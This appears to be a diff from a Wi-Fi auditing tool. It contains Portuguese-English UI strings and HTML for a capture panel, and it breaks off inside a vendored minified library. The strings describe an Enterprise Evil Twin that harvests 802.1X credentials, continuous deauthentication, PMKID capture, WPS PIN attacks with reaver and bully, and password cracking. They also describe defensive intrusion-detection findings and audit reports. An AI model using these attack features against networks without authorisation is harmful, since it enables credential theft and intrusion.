|
||||
'{n} · {n} credencial(is) capturada(s){n}': '{n} · {n} credential(s) captured{n}',
|
||||
'Clona o AP numa segunda interface e deixa o hostapd-wpe aceitar a autenticação EAP de qualquer cliente. A credencial sai sozinha, como parte do próprio 802.1X — sem portal, sem ação humana.':
|
||||
'Clones the AP on a second interface and lets hostapd-wpe accept the EAP authentication from any client. The credential comes out on its own, as part of 802.1X itself — no portal, no human action.',
|
||||
'Rede Enterprise detectada (AKM 802.1X) — aqui a credencial é enviada automaticamente pelo cliente durante o handshake EAP, não precisa de portal. Exige':
|
||||
'Enterprise network detected (AKM 802.1X) — here the credential is sent automatically by the client during the EAP handshake, no portal needed. Requires',
|
||||
'instalado (não vem com o Sabiá: é um patch no build do hostapd —':
|
||||
'installed (not bundled with Sabiá: it is a patch on the hostapd build —',
|
||||
') e uma': ') and a',
|
||||
'interface Wi-Fi em modo AP.': 'Wi-Fi interface in AP mode.',
|
||||
'Iniciar Evil Twin Enterprise': 'Start Enterprise Evil Twin',
|
||||
'Limitação honesta: o certificado TLS do clone é autoassinado. Dispositivo que valida a cadeia de certificado da rede (comum em perfil corporativo/MDM atualizado) vai recusar ou avisar o usuário — essa é a defesa que deveria existir. Funciona contra configuração sem essa validação.':
|
||||
'Honest limitation: the clone\'s TLS certificate is self-signed. A device that validates the network\'s certificate chain (common on an updated corporate/MDM profile) will refuse or warn the user — that is the defense that is supposed to exist. It works against configurations without that validation.',
|
||||
'essa rede não é WPA2/WPA3-Enterprise (802.1X) — pra rede com senha única (PSK), use o Evil Twin com portal cativo':
|
||||
'this network is not WPA2/WPA3-Enterprise (802.1X) — for a single-password (PSK) network, use the Evil Twin with captive portal',
|
||||
'hostapd-wpe não está instalado — não vem com o Sabiá (é um patch sobre o build do hostapd, não um binário pequeno); instale pelo repositório do Kali ou compile https://github.com/aircrack-ng/hostapd-wpe':
|
||||
'hostapd-wpe is not installed — not bundled with Sabiá (it is a patch on the hostapd build, not a small binary); install it from the Kali repository or build https://github.com/aircrack-ng/hostapd-wpe',
|
||||
'{n} está num modo que o hostapd-wpe não consegue usar':
|
||||
'{n} is in a mode hostapd-wpe cannot use',
|
||||
'não foi possível gerar o certificado TLS (openssl) pro hostapd-wpe':
|
||||
'could not generate the TLS certificate (openssl) for hostapd-wpe',
|
||||
'hostapd-wpe saiu sozinho ({n}) logo ao subir em {n} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {n}':
|
||||
'hostapd-wpe exited on its own ({n}) right after starting on {n} — the adapter may not actually support the real AP\'s channel/band. Output: {n}',
|
||||
'job de Evil Twin Enterprise não encontrado': 'Enterprise Evil Twin job not found',
|
||||
'job de Evil Twin não encontrado': 'Evil Twin job not found',
|
||||
'hostapd saiu sozinho ({n}) logo ao subir em {n} — a placa pode não suportar de verdade o canal/banda do AP real. Saída: {n}':
|
||||
'hostapd exited on its own ({n}) right after starting on {n} — the adapter may not actually support the real AP\'s channel/band. Output: {n}',
|
||||
'{n} está num modo que o hostapd não consegue usar': '{n} is in a mode hostapd cannot use',
|
||||
'{n} handshake(s), {n} quadro(s) em {n}': '{n} handshake(s), {n} frame(s) in {n}',
|
||||
'Motivo': 'Reason',
|
||||
'Pacotes': 'Packets',
|
||||
'Estado': 'State',
|
||||
'Probes': 'Probes',
|
||||
'Cliente': 'Client',
|
||||
'WPS ativo': 'WPS active',
|
||||
'WPS ativo.': 'WPS active.',
|
||||
'WPS ativo ({n}).': 'WPS active ({n}).',
|
||||
'PMF exigido.': 'PMF required.',
|
||||
'Depois de coletar IVs suficientes:': 'After collecting enough IVs:',
|
||||
'mensagens {n}': 'messages {n}',
|
||||
'{n} · mensagens {n}': '{n} · messages {n}',
|
||||
'senha: {n}': 'password: {n}',
|
||||
'{n} · quebrável': '{n} · crackable',
|
||||
'{n} · canal {n}': '{n} · channel {n}',
|
||||
'{n} ({n})': '{n} ({n})',
|
||||
|
||||
// canais, PMKID/PMF, WPS e relatório
|
||||
'Ocupação dos canais em {n}': 'Channel occupancy on {n}',
|
||||
'Sem dados de canal ainda': 'No channel data yet',
|
||||
'Inicie a captura para o Sabiá medir ocupação e sugerir canais.':
|
||||
'Start capturing so Sabiá can measure occupancy and suggest channels.',
|
||||
'{n} APs · {n} canais ocupados': '{n} APs · {n} busy channels',
|
||||
'{n} AP(s) · recomendado': '{n} AP(s) · recommended',
|
||||
'· recomendado': '· recommended',
|
||||
'aberta/WEP': 'open/WEP',
|
||||
'{n} rede(s) WPA3 analisada(s) — detalhes na aba do alvo e no relatório.':
|
||||
'{n} WPA3 network(s) analyzed — details in the target tab and report.',
|
||||
'Restrito a 1, 6 e 11 para evitar sobreposição.':
|
||||
'Limited to 1, 6 and 11 to avoid overlap.',
|
||||
'Menor pontuação de interferência entre os canais observados.':
|
||||
'Lowest interference score among observed channels.',
|
||||
'Melhor canal': 'Best channel',
|
||||
'Espectro e canais': 'Spectrum and channels',
|
||||
|
||||
// saúde do espectro (canais, estilo SMART)
|
||||
'Boa': 'Good',
|
||||
'Atenção': 'Attention',
|
||||
'Saturado': 'Saturated',
|
||||
'Boa condição': 'Good condition',
|
||||
'Sem canal livre nessa banda': 'No free channel on this band',
|
||||
'Até o melhor canal está saturado': 'Even the best channel is saturated',
|
||||
'Recomendado é DFS — pode cair com radar por perto': 'The recommended channel is DFS — it can drop off if radar is detected nearby',
|
||||
'Espectro congestionado': 'Congested spectrum',
|
||||
'Canal recomendado': 'Recommended channel',
|
||||
'Canais ocupados': 'Busy channels',
|
||||
'APs na banda': 'APs on this band',
|
||||
'Pior canal': 'Worst channel',
|
||||
'Canais DFS': 'DFS channels',
|
||||
'Nessa banda, prefira sempre 1, 6 ou 11 — canais no meio sobrepõem vizinhos.':
|
||||
'On this band, always prefer 1, 6 or 11 — channels in between overlap neighbors.',
|
||||
'Canais DFS liberam mais espaço, mas o rádio é obrigado a sair do ar se detectar radar — tenha um canal não-DFS de reserva.':
|
||||
'DFS channels free up more room, but the radio must go off the air if it detects radar — keep a non-DFS channel as backup.',
|
||||
'Considere mudar o AP para o canal recomendado ou mover pra outra banda.':
|
||||
'Consider moving the AP to the recommended channel or to another band.',
|
||||
'Canais detalhados ({n})': 'Detailed channels ({n})',
|
||||
'Pontuação': 'Score',
|
||||
'APs': 'APs',
|
||||
'{n} AP(s)': '{n} AP(s)',
|
||||
'Recomendado': 'Recommended',
|
||||
'Ainda sem eventos além do primeiro avistamento.':
|
||||
'No events beyond the first sighting yet.',
|
||||
'{n} amostra(s) de sinal. Eventos mais recentes primeiro.':
|
||||
'{n} signal sample(s). Most recent events first.',
|
||||
'nenhuma ferramenta instalada': 'no tool installed',
|
||||
'Senha encontrada: {n}{n}': 'Password found: {n}{n}',
|
||||
'Sem PIN, o reaver usa Pixie Dust; o bully usa o ataque padrão.':
|
||||
'Without a PIN, reaver uses Pixie Dust; bully uses its default attack.',
|
||||
'Instale reaver ou bully para habilitar. Ex.: sudo apt install reaver bully':
|
||||
'Install reaver or bully to enable. E.g.: sudo apt install reaver bully',
|
||||
'A saída do reaver/bully aparece aqui.': 'reaver/bully output appears here.',
|
||||
'Orquestra reaver/bully na interface monitor. O canal do AP é usado automaticamente; o processo pode ser interrompido a qualquer momento.':
|
||||
'Orchestrates reaver/bully on the monitor interface. The AP channel is used automatically; the process can be stopped at any time.',
|
||||
'Ferramenta': 'Tool',
|
||||
'PIN conhecido (opcional)': 'Known PIN (optional)',
|
||||
'Exportar .hc22000': 'Export .hc22000',
|
||||
'Todos .hc22000': 'Export all .hc22000',
|
||||
'Iniciar WPS': 'Start WPS',
|
||||
'Parar job': 'Stop job',
|
||||
'8 dígitos': '8 digits',
|
||||
'nenhum cliente visto': 'no client seen',
|
||||
'Direção': 'Direction',
|
||||
'AP → cliente': 'AP → client',
|
||||
'cliente → AP': 'client → AP',
|
||||
'Dispara deauth nas duas direções e observa se a estação reassocia. Resultado prático, não prova criptográfica.':
|
||||
'Sends deauth in both directions and watches whether the station reassociates. Practical result, not cryptographic proof.',
|
||||
'Estação': 'Station',
|
||||
'Forja um MAC local e envia association request com PMKID para tentar a mensagem 1. Muitos APs só expõem PMKID em roaming real.':
|
||||
'Forge a local MAC and send an association request with PMKID to try for message 1. Many APs only expose PMKID during real roaming.',
|
||||
'Caçar PMKID': 'Hunt PMKID',
|
||||
'Do cliente para o AP (exige estação selecionada).':
|
||||
'From client to AP (requires a selected station).',
|
||||
'Nas duas direções (exige estação selecionada).':
|
||||
'In both directions (requires a selected station).',
|
||||
'{n} quadro(s) {n} em {n} para {n} (motivo {n}).':
|
||||
'{n} {n} frame(s) in {n} to {n} (reason {n}).',
|
||||
'Aguardando saída do reaver/bully…': 'Waiting for reaver/bully output…',
|
||||
'Enviando associação com PMKID…': 'Sending association with PMKID…',
|
||||
'{n} quadro(s) enviados; PMKID não apareceu. {n}':
|
||||
'{n} frame(s) sent; PMKID did not appear. {n}',
|
||||
'Nenhuma estação disponível.': 'No station available.',
|
||||
'Testando por ~4 s…': 'Testing for ~4 s…',
|
||||
'PMKID capturado: {n}': 'PMKID captured: {n}',
|
||||
'PMF não obrigatório': 'PMF not required',
|
||||
'PMF não obrigatório · {n}': 'PMF not required · {n}',
|
||||
'Inconclusivo · {n}': 'Inconclusive · {n}',
|
||||
'Instale reaver ou bully.': 'Install reaver or bully.',
|
||||
'Canal do AP desconhecido.': 'Unknown AP channel.',
|
||||
'Montando o relatório…': 'Building the report…',
|
||||
'não foi possível gerar o relatório': 'could not generate the report',
|
||||
'Pré-visualização A4 · {n} página(s).': 'A4 preview · {n} page(s).',
|
||||
'Pré-visualização A4.': 'A4 preview.',
|
||||
'Paginando o relatório…': 'Paginating the report…',
|
||||
'Não foi possível abrir a impressão; baixe o HTML e abra no navegador.':
|
||||
'Could not open printing; download the HTML and open it in the browser.',
|
||||
'não foi possível gerar o HTML': 'could not generate the HTML',
|
||||
'Relatório': 'Report',
|
||||
'Relatório de auditoria': 'Audit report',
|
||||
'Imprimir / PDF': 'Print / PDF',
|
||||
'Baixar HTML': 'Download HTML',
|
||||
'Pré-visualização paginada em A4.': 'Paginated A4 preview.',
|
||||
'Visualização': 'View',
|
||||
'Relatório paginado': 'Paginated report',
|
||||
'handshake sem SSID, PMKID ou mensagem 2 para exportar':
|
||||
'handshake without SSID, PMKID or message 2 to export',
|
||||
'nenhum handshake com material para .hc22000':
|
||||
'no handshake with material for .hc22000',
|
||||
'direção inválida: use ap, sta ou both': 'invalid direction: use ap, sta or both',
|
||||
'máscara grande demais pra calcular o total': 'mask too large to calculate the total',
|
||||
'máscara tem {n} combinações, acima do limite de {n} — restrinja a máscara (ex.: menos posições ?a/?l) antes de rodar':
|
||||
'mask has {n} combinations, above the limit of {n} — narrow the mask (e.g. fewer ?a/?l positions) before running',
|
||||
'quadro inválido: use deauth ou disassoc': 'invalid frame: use deauth or disassoc',
|
||||
'direção sta/both exige a estação alvo': 'sta/both direction requires the target station',
|
||||
'inicie a captura nesta interface antes do teste PMKID':
|
||||
'start capturing on this interface before the PMKID test',
|
||||
'BSSID ainda não visto nesta captura': 'BSSID not seen in this capture yet',
|
||||
'SSID oculto: impossível montar o association request':
|
||||
'hidden SSID: cannot build the association request',
|
||||
'PMKID observado; exporte em .hc22000 e quebre com hashcat ou pelo Sabiá.':
|
||||
'PMKID observed; export to .hc22000 and crack with hashcat or Sabiá.',
|
||||
'Nenhum PMKID apareceu. O AP pode não usar cache de PMKID ou só responder a roaming real; tente também desautenticar um cliente associado.':
|
||||
'No PMKID appeared. The AP may not cache PMKID or may only answer real roaming; also try deauthenticating an associated client.',
|
||||
'PIN WPS deve ter 8 dígitos': 'WPS PIN must have 8 digits',
|
||||
'a ferramenta terminou sem informar PSK': 'the tool finished without reporting a PSK',
|
||||
'job WPS não encontrado': 'WPS job not found',
|
||||
'Auditoria Wi-Fi · {n}': 'Wi-Fi audit · {n}',
|
||||
'{n} está em modo managed; ative o modo monitor antes do teste PMKID':
|
||||
'{n} is in managed mode; enable monitor mode before the PMKID test',
|
||||
'{n} não encontrado no PATH; instale reaver ou bully':
|
||||
'{n} not found in PATH; install reaver or bully',
|
||||
'{n} está em modo managed; ative o modo monitor antes do ataque WPS':
|
||||
'{n} is in managed mode; enable monitor mode before the WPS attack',
|
||||
'não foi possível executar {n}: {n}': 'could not run {n}: {n}',
|
||||
'{n} terminou com código {n}': '{n} exited with code {n}',
|
||||
|
||||
// achados do WIDS (analysis.rs)
|
||||
'SSID “{n}” com seguranças diferentes': 'SSID “{n}” with different security levels',
|
||||
'O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {n}. Pode ser um evil twin ou um AP mal configurado.':
|
||||
'The same name appears on BSSIDs with different security levels: {n}. It may be an evil twin or a misconfigured AP.',
|
||||
'Rajada de desautenticação': 'Deauthentication burst',
|
||||
'{n} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável.':
|
||||
'{n} deauthentication/disassociation frames in the last minute. It may be a deauth attack or an unstable AP.',
|
||||
'Muitos BSSIDs novos': 'Many new BSSIDs',
|
||||
'{n} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso.':
|
||||
'{n} BSSIDs appeared in the last minute — possible beacon flood or a very dense environment.',
|
||||
'Rede aberta: {n}': 'Open network: {n}',
|
||||
'Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.':
|
||||
'No Wi-Fi encryption; traffic is exposed to any station in range.',
|
||||
'WEP em {n}': 'WEP on {n}',
|
||||
'WEP é quebrável em minutos; trate a rede como aberta.':
|
||||
'WEP can be cracked in minutes; treat the network as open.',
|
||||
'WPA1 (TKIP) em {n}': 'WPA1 (TKIP) on {n}',
|
||||
'WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.':
|
||||
'WPA1/TKIP has known weaknesses; migrate to WPA2/CCMP or WPA3.',
|
||||
'WPS ativo em {n}': 'WPS active on {n}',
|
||||
'O AP anuncia WPS com configuração travada.': 'The AP advertises WPS with configuration locked.',
|
||||
'WPS sem lock explícito; PIN pode ser testado com reaver/bully.':
|
||||
'WPS without an explicit lock; the PIN can be tested with reaver/bully.',
|
||||
'Sem PMF em {n}': 'No PMF on {n}',
|
||||
'Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.':
|
||||
'Deauthentication and disassociation are unprotected; clients can be expelled to make handshake capture easier.',
|
||||
'PMF inconsistente em {n}': 'Inconsistent PMF on {n}',
|
||||
'O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.':
|
||||
'The AP advertises WPA3 but not PMF; check the configuration.',
|
||||
'WPA3 com WPS em {n}': 'WPA3 with WPS on {n}',
|
||||
'WPS não faz parte do WPA3 e abre uma via mais fraca de associação.':
|
||||
'WPS is not part of WPA3 and opens a weaker association path.',
|
||||
'primeiro visto': 'first seen',
|
||||
'associou': 'associated',
|
||||
'desautenticado': 'deauthenticated',
|
||||
|
||||
'A estação voltou a se associar.': 'The station reassociated.',
|
||||
'O AP pode não usar cache de PMKID.': 'The AP may not cache PMKID.',
|
||||
|
||||
'A estação voltou a se associar após a desautenticação: PMF não está obrigatório (ou o cliente não o usa).':
|
||||
'The station reassociated after deauthentication: PMF is not required (or the client does not use it).',
|
||||
'A estação continuou trocando quadros depois da desautenticação; o quadro de gerenciamento provavelmente foi aceito.':
|
||||
'The station kept exchanging frames after deauthentication; the management frame was probably accepted.',
|
||||
'A estação não voltou a associar na janela observada. PMF pode estar ativo, ou o cliente simplesmente ficou inativo.':
|
||||
'The station did not reassociate in the observed window. PMF may be active, or the client simply stayed idle.',
|
||||
'Inconclusivo': 'Inconclusive',
|
||||
|
||||
// deauth contínuo e identificação de clientes
|
||||
'Mantém os quadros saindo em série até você parar (ou até sair o handshake). O canal da captura fica travado no AP durante o job.':
|
||||
'Keeps frames going until you stop (or a handshake appears). The capture channel stays locked to the AP during the job.',
|
||||
'Iniciar contínuo': 'Start continuous',
|
||||
'Parar': 'Stop',
|
||||
'Rajada ({n})': 'Burst ({n})',
|
||||
'Pronto. O job contínuo trava a captura no canal do AP e para quando você mandar.':
|
||||
'Ready. The continuous job locks capture to the AP channel and stops when you say so.',
|
||||
'Job {n} · {n} quadro(s){n}{n}': 'Job {n} · {n} frame(s){n}{n}',
|
||||
'Handshake capturado em {n} quadro(s){n}.': 'Handshake captured in {n} frame(s){n}.',
|
||||
'Job {n} {n} · {n} quadro(s){n}.': 'Job {n} {n} · {n} frame(s){n}.',
|
||||
'Escolha um cliente para desautenticar nas direções sta/both.':
|
||||
'Choose a client to deauthenticate in the sta/both directions.',
|
||||
'Forçando reassociação e handshake…': 'Forcing reassociation and handshake…',
|
||||
'Desautenticação contínua iniciada.': 'Continuous deauthentication started.',
|
||||
'Nenhuma ferramenta WPS disponível.': 'No WPS tool available.',
|
||||
'O reaver embutido usa Pixie Dust sem PIN. O bully aparece se estiver instalado no sistema.':
|
||||
'The bundled reaver uses Pixie Dust without a PIN. bully appears if it is installed on the system.',
|
||||
'O reaver embutido não pôde ser extraído nesta execução.':
|
||||
'The bundled reaver could not be extracted in this run.',
|
||||
'Dicionário (vazio = embutido, 9,7 milhões de senhas)': 'Wordlist (empty = bundled, 9.7 million passwords)',
|
||||
'dicionário próprio, opcional': 'custom wordlist, optional',
|
||||
'Dispositivo': 'Device',
|
||||
'MAC aleatório': 'Random MAC',
|
||||
'Cliente {n}': 'Client {n}',
|
||||
'Linha do tempo · {n}': 'Timeline · {n}',
|
||||
'nenhuma ferramenta disponível': 'no tool available',
|
||||
'· canal {n}': '· channel {n}',
|
||||
'· para sozinho no handshake': '· stops on handshake',
|
||||
'job de deauth não encontrado': 'deauth job not found',
|
||||
'já existe um job de desautenticação em execução em {n}':
|
||||
'a deauthentication job is already running on {n}',
|
||||
'inicie a captura em {n} antes de iniciar o job':
|
||||
'start capture on {n} before starting the job',
|
||||
'a captura em {n} não está ativa': 'capture on {n} is not active',
|
||||
'{n} não está disponível; o reaver integrado não pôde ser extraído':
|
||||
'{n} is not available; the bundled reaver could not be extracted',
|
||||
};
|
||||
+101
-12
@@ -18,17 +18,39 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="side-title">Interfaces</div>
|
||||
<ul class="list" id="ifaceList" data-empty="nenhuma interface Wi-Fi encontrada"></ul>
|
||||
<div class="side-title">Interface</div>
|
||||
<div class="iface-pick">
|
||||
<select id="ifaceSelect" class="select" aria-label="Interface Wi-Fi" data-empty="nenhuma interface Wi-Fi encontrada"></select>
|
||||
<span id="modePill" class="pill"><span class="dot"></span><span id="modeLabel">—</span></span>
|
||||
</div>
|
||||
|
||||
<div class="side-title">Visualização</div>
|
||||
<ul class="list" id="viewNav" role="group" aria-label="Visualização">
|
||||
<li><button type="button" class="dev" data-view="nets" aria-pressed="true">
|
||||
<span class="ico"><svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12.55a11 11 0 0 1 14.08 0"/><path d="M1.42 9a16 16 0 0 1 21.16 0"/><path d="M8.53 16.11a6 6 0 0 1 6.95 0"/><circle cx="12" cy="20" r="1"/></svg></span>
|
||||
<span><span class="t">Redes</span><span class="s">APs, clientes e ataques</span></span>
|
||||
</button></li>
|
||||
<li><button type="button" class="dev" data-view="channels" aria-pressed="false">
|
||||
<span class="ico"><svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="19" x2="5" y2="10"/><line x1="12" y1="19" x2="12" y2="5"/><line x1="19" y1="19" x2="19" y2="13"/></svg></span>
|
||||
<span><span class="t">Canais</span><span class="s">espectro e saúde</span></span>
|
||||
</button></li>
|
||||
</ul>
|
||||
|
||||
<div class="side-foot">
|
||||
<span id="verInfo" class="mono">—</span>
|
||||
<select id="langSel" class="lang-sel" aria-label="Idioma" title="Idioma">
|
||||
<option value="auto">Auto</option>
|
||||
<option value="pt">Português</option>
|
||||
<option value="en">English</option>
|
||||
</select>
|
||||
<button id="btnUpdate" type="button">checar atualização</button>
|
||||
<div class="foot-row">
|
||||
<button id="settingsBtn" class="icon-btn" type="button" title="Configurações" aria-label="Configurações">
|
||||
<svg viewBox="0 0 24 24" width="17" height="17" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="3"/><path d="M19.4 15a1.7 1.7 0 0 0 .3 1.8l.1.1a2 2 0 1 1-2.8 2.8l-.1-.1a1.7 1.7 0 0 0-1.8-.3 1.7 1.7 0 0 0-1 1.5V21a2 2 0 1 1-4 0v-.1a1.7 1.7 0 0 0-1.1-1.5 1.7 1.7 0 0 0-1.8.3l-.1.1a2 2 0 1 1-2.8-2.8l.1-.1a1.7 1.7 0 0 0 .3-1.8 1.7 1.7 0 0 0-1.5-1H3a2 2 0 1 1 0-4h.1a1.7 1.7 0 0 0 1.5-1.1 1.7 1.7 0 0 0-.3-1.8l-.1-.1a2 2 0 1 1 2.8-2.8l.1.1a1.7 1.7 0 0 0 1.8.3H9a1.7 1.7 0 0 0 1-1.5V3a2 2 0 1 1 4 0v.1a1.7 1.7 0 0 0 1 1.5 1.7 1.7 0 0 0 1.8-.3l.1-.1a2 2 0 1 1 2.8 2.8l-.1.1a1.7 1.7 0 0 0-.3 1.8V9a1.7 1.7 0 0 0 1.5 1H21a2 2 0 1 1 0 4h-.1a1.7 1.7 0 0 0-1.5 1z"/></svg>
|
||||
</button>
|
||||
<div class="theme-switch" role="group" aria-label="Tema">
|
||||
<button type="button" data-theme-pick="auto" aria-pressed="true">Auto</button>
|
||||
<button type="button" data-theme-pick="light" aria-pressed="false">Claro</button>
|
||||
<button type="button" data-theme-pick="dark" aria-pressed="false">Escuro</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="foot-row">
|
||||
<span id="verInfo" class="mono">—</span>
|
||||
<button id="btnUpdate" type="button">checar atualização</button>
|
||||
</div>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
@@ -39,7 +61,9 @@
|
||||
<h1>Painel de captura</h1>
|
||||
<div class="sub" id="ifaceSub">selecione uma interface</div>
|
||||
</div>
|
||||
<span id="modePill" class="pill"><span class="dot"></span><span id="modeLabel">—</span></span>
|
||||
<div class="top-actions">
|
||||
<button id="btnReport" class="btn" type="button" disabled>Relatório</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<svg class="wave" id="wave" viewBox="0 0 600 34" preserveAspectRatio="none">
|
||||
@@ -68,14 +92,79 @@
|
||||
</div>
|
||||
|
||||
<div class="result-head">
|
||||
<strong>Redes vistas</strong>
|
||||
<span id="count">0</span>
|
||||
<div class="result-summary">
|
||||
<strong id="resultTitle">Redes vistas</strong>
|
||||
<span id="count">0</span>
|
||||
</div>
|
||||
<div class="result-tools">
|
||||
<input id="searchInput" class="filter" type="search" placeholder="filtrar por SSID ou BSSID" aria-label="Filtrar redes" autocomplete="off" spellcheck="false">
|
||||
<select id="sortSel" class="select compact" aria-label="Ordenar por">
|
||||
<option value="signal">Sinal</option>
|
||||
<option value="security">Segurança</option>
|
||||
<option value="clients">Clientes</option>
|
||||
<option value="name">Nome</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="resultArea"></div>
|
||||
</div>
|
||||
</main>
|
||||
</div>
|
||||
|
||||
<dialog id="targetDlg" class="target-dlg" aria-labelledby="targetTitle">
|
||||
<div class="target-head">
|
||||
<div class="target-id">
|
||||
<h2 id="targetTitle">—</h2>
|
||||
<div class="target-sub" id="targetSub"></div>
|
||||
</div>
|
||||
<button id="targetClose" class="icon-btn" type="button" aria-label="Fechar" title="Fechar">
|
||||
<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"><path d="M6 6l12 12M18 6L6 18"/></svg>
|
||||
</button>
|
||||
</div>
|
||||
<div class="tabs" role="tablist" aria-label="Detalhes do alvo">
|
||||
<button type="button" role="tab" data-tab="overview" aria-selected="true">Visão geral</button>
|
||||
<button type="button" role="tab" data-tab="clients" aria-selected="false">Clientes <span class="tab-count" id="tabClientsCount">0</span></button>
|
||||
<button type="button" role="tab" data-tab="attacks" aria-selected="false">Ataques</button>
|
||||
</div>
|
||||
<div class="tab-panel" id="tabPanel"></div>
|
||||
</dialog>
|
||||
|
||||
<dialog id="reportDlg" class="report-dlg" aria-labelledby="reportTitle">
|
||||
<div class="report-head">
|
||||
<div>
|
||||
<h2 id="reportTitle">Relatório de auditoria</h2>
|
||||
<p class="hint" id="reportStatus">Pré-visualização paginada em A4.</p>
|
||||
</div>
|
||||
<div class="report-tools">
|
||||
<button type="button" class="icon-btn" id="reportZoomOut" title="Diminuir zoom" aria-label="Diminuir zoom">−</button>
|
||||
<span class="mono" id="reportZoomLabel">100%</span>
|
||||
<button type="button" class="icon-btn" id="reportZoomIn" title="Aumentar zoom" aria-label="Aumentar zoom">+</button>
|
||||
<button type="button" class="btn" id="reportPrint">Imprimir / PDF</button>
|
||||
<button type="button" class="btn" id="reportDownload">Baixar HTML</button>
|
||||
<button type="button" class="icon-btn" id="reportClose" title="Fechar" aria-label="Fechar">
|
||||
<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"><path d="M6 6l12 12M18 6L6 18"/></svg>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="report-view" id="reportView"><div class="report-canvas" id="reportCanvas"><iframe id="reportFrame" title="Relatório paginado"></iframe></div></div>
|
||||
</dialog>
|
||||
|
||||
<dialog id="settingsDlg" aria-labelledby="settingsTitle">
|
||||
<form method="dialog">
|
||||
<h2 id="settingsTitle">Configurações</h2>
|
||||
<div class="field">
|
||||
<span class="field-label">Idioma</span>
|
||||
<select id="langSel" class="select" name="lang" aria-label="Idioma">
|
||||
<option value="auto">Auto</option>
|
||||
<option value="pt">Português</option>
|
||||
<option value="en">English</option>
|
||||
</select>
|
||||
</div>
|
||||
<menu><button class="btn primary" value="close">Fechar</button></menu>
|
||||
</form>
|
||||
</dialog>
|
||||
|
||||
<script type="module" src="/app.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
Vendored
+4
@@ -0,0 +1,4 @@
|
||||
/**
|
||||
* @license Paged.js v0.4.3 | MIT | https://gitlab.coko.foundation/pagedjs/pagedjs
|
||||
*/
|
||||
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).PagedPolyfill=t()}(this,(function(){"use strict";function e(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var t,n,r={exports:{}},a={exports:{}};var i,o,s,l,d=function(){},p=d(),c=function(e){return e!==p&&null!==e};function u(){return l||(l=1,s=(n?t:(n=1,t=function(){try{return Object.keys("primitive"),!0}catch(e){return!1}}))()?Object.keys:function(){if(o)return i;o=1;var e=c,t=Object.keys;return i=function(n){return t(e(n)?Object(n):n)}}()),s}var m,h,g=c,f=function(e){if(!g(e))throw new TypeError("Cannot use null or undefined");return e};var y,b,S=function(){var e,t=Object.assign;return"function"==typeof t&&(t(e={foo:"raz"},{bar:"dwa"},{trzy:"trzy"}),e.foo+e.bar+e.trzy==="razdwatrzy")}()?Object.assign:function(){if(h)return m;h=1;var e=u(),t=f,n=Math.max;return m=function(r,a){var i,o,s,l=n(arguments.length,2);for(r=Object(t(r)),s=function(e){try{r[e]=a[e]}catch(e){i||(i=e)}},o=1;o<l;++o)e(a=arguments[o]).forEach(s);if(void 0!==i)throw i;return r},m}(),v=c,x=Array.prototype.forEach,k=Object.create,w="razdwatrzy";var C,T="function"==typeof w.contains&&!0===w.contains("dwa")&&!1===w.contains("foo")?String.prototype.contains:function(){if(b)return y;b=1;var e=String.prototype.indexOf;return y=function(t){return e.call(this,t,arguments[1])>-1},y}(),_=S,z=function(e){var t=k(null);return x.call(arguments,(function(e){v(e)&&function(e,t){var n;for(n in e)t[n]=e[n]}(Object(e),t)})),t},O=function(e){return"function"==typeof e},A=T;C=a.exports=function(e,t){var n,r,a,i,o;return arguments.length<2||"string"!=typeof e?(i=t,t=e,e=null):i=arguments[2],null==e?(n=a=!0,r=!1):(n=A.call(e,"c"),r=A.call(e,"e"),a=A.call(e,"w")),o={value:t,configurable:n,enumerable:r,writable:a},i?_(z(i),o):o},C.gs=function(e,t,n){var r,a,i,o;return"string"!=typeof e?(i=n,n=t,t=e,e=null):i=arguments[3],null==t?t=void 0:O(t)?null==n?n=void 0:O(n)||(i=n,n=void 0):(i=t,t=n=void 0),null==e?(r=!0,a=!1):(r=A.call(e,"c"),a=A.call(e,"e")),o={get:t,set:n,configurable:r,enumerable:a},i?_(z(i),o):o};var E=a.exports,j=function(e){if("function"!=typeof e)throw new TypeError(e+" is not a function");return e};!function(e,t){var n,r,a,i,o,s,l,d=E,p=j,c=Function.prototype.apply,u=Function.prototype.call,m=Object.create,h=Object.defineProperty,g=Object.defineProperties,f=Object.prototype.hasOwnProperty,y={configurable:!0,enumerable:!1,writable:!0};n=function(e,t){var n;return p(t),f.call(this,"__ee__")?n=this.__ee__:(n=y.value=m(null),h(this,"__ee__",y),y.value=null),n[e]?"object"==typeof n[e]?n[e].push(t):n[e]=[n[e],t]:n[e]=t,this},r=function(e,t){var r,i;return p(t),i=this,n.call(this,e,r=function(){a.call(i,e,r),c.call(t,this,arguments)}),r.__eeOnceListener__=t,this},a=function(e,t){var n,r,a,i;if(p(t),!f.call(this,"__ee__"))return this;if(!(n=this.__ee__)[e])return 